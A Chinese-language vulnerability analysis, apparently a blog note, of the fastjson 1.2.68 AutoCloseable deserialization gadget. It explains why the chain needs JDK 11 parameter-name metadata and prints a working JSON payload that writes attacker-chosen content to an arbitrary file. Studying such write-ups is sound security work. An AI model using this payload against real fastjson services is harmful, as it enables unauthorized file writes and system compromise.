反序列化总纲
主要是依赖Java代码审计——fastjson 1.2.68 反序列化漏洞 AutoCloseable
看了这个poc之后,就一直纠结,为啥只有openjdk >= 11才可以用,最后在调试+看了大部分文章之后才终于明白
这里需要准备两个jdk,一个 1.8 一个11
首先先来看一下Fastjson的构造参数选择:
通过createJavaBeanDeserializer进来

走到JavaBeanInfo.build

这里判断如果不是接口以及抽象类就会进去这里

获取构造参数

具体的内容会在这里进行获取,然后就卡在这里了

看了文章之后说,fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可。只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。
javap -l java.io.FileOutputStream

又找了一下相关资料
LocalVariableTable该属性的作用是描述帧栈中局部变量与源码中定义的变量之间的关系。可以使用 -g:none 或 -g:vars来取消或生成这项信息,如果没有生成这项信息,那么当别人引用这个方法时,将无法获取到参数名称,取而代之的是arg0, arg1这样的占位符。start 表示该局部变量在哪一行开始可见,length表示可见行数,Slot代表所在帧栈位置,Name是变量名称,然后是类型签名。
简而言之,因为 1.8 没有LocalVariableTable 所以fastjson拿不到。其实可以剥一下代码把获取LocalVariableTable 的方式拨出来自己用。
先上poc:
{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}java.util.zip.InflaterOutputStream类实现了一个输出流过滤器,用于解压缩以“deflate”压缩算法存储的数据。最典型的就是gzip
首先来看调用的构造方法,三个参数 out infl protocolVersion。

这里的infl就是存储的数据对象,out就是输出流。
这里的out流采用了java.io.FileOutputStream的方式进行获取,

之后FileOutputStream会打开一个目标文件的输出流
那么问题来了,为什么infl在赋值的时候需要用如下格式进行赋值呢:
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},绕了好几圈,最后才明白,原来在fastjson在解析infl找到infl的类是ByteBuffer,那么就会去调用自己的fastjson-1.2.58.jar!\com\alibaba\fastjson\serializer\ByteBufferCodec.class,也就是这里

那么我们在进行赋值的时候就要对其进行赋值,调用了ByteBuffer.wrap方法就会对ByteBuffer的hb变量进行赋值

那么现在的情况就是获取到了hb和limit的值
最终需要触发的是write方法

这里调用inflate对buf进行解压

然后通过write进行写入。
先来看sun.rmi.server.MarshalOutputStream,按照fastjson来说没有无参构造方法就会调用最多的

但是要赋值就要知道参数名,这里是var1和var2 要去查一下LocalVariableTable

拿到两个参数名out和protocolVersion
这里的sun.rmi.server.MarshalOutputStream主要作用是用来触发write

这里触发bout.setBlockDataMode(true);

触发drain()

触发write

















